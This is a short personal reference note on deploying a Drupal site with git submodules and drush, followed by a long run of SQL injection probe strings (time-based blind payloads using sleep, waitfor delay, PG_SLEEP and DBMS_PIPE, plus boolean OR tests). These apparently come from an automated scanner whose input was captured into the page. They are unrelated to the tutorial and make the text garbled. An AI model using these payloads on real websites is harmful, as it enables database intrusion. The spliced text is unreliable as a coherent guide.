Maybe you've seen the great article on Drupal Deployment with Git Submodules, by Randy Fay. I manage this site using that strategy, but some times I forget how every operation is done. So here I'm collecting them for my own reference.
For fetching all the new info from submodules:
git submodule foreach git fetch origin
Now we go into each module folder and use:
git pull
If we wanted to switch to a different branch, we should use:
git branch -a # we see the available branches
git checkout 7.x-2.x # the different branch
For committing it, we go back to the contrib folder and do:
git add contrib-module-name
Then, we use:
drush updb --debug -y
Maybe we see some warnings because of unresolved dependencies. In that case, add the new submodule:
git submodule add --branch 7.x-1.x git://git.drupal.org/project/entity.git sites/all/modules/contrib/entity
Finally, updating core:
git merge drupal/7.x drush updb --debug -y
Ok, so we've done this on our DEVELOPMENT site. If everything is OK, now it's time to update the server, after doing a backup:
git pull
git submodule update --init
drush updb --debug -y
1
1*if(now()=sysdate(),sleep(15),0)
1
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1
1-1; waitfor delay '0:0:15' --
1
1-1); waitfor delay '0:0:15' --
1
1-1 waitfor delay '0:0:15' --
1
1uOafv2vS'; waitfor delay '0:0:15' --
1
1-1 OR 995=(SELECT 995 FROM PG_SLEEP(15))--
1
1-1) OR 818=(SELECT 818 FROM PG_SLEEP(15))--
1
1-1)) OR 285=(SELECT 285 FROM PG_SLEEP(15))--
1
1Y0NBoWrZ' OR 128=(SELECT 128 FROM PG_SLEEP(15))--
1
1kGXP4akq') OR 755=(SELECT 755 FROM PG_SLEEP(15))--
1
1Ra5xxmrn')) OR 744=(SELECT 744 FROM PG_SLEEP(15))--
1
1
1
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
1
-1 OR 2+197-197-1=0+0+0+1 --
1
-1 OR 2+249-249-1=0+0+0+1
1
-1' OR 2+675-675-1=0+0+0+1 --
1
-1' OR 2+543-543-1=0+0+0+1 or 'FZUTqYb0'='
1
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
-1" OR 2+51-51-1=0+0+0+1 --
1
1
1'"
1
@@mfh46
1*if(now()=sysdate(),sleep(15),0)
1
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
1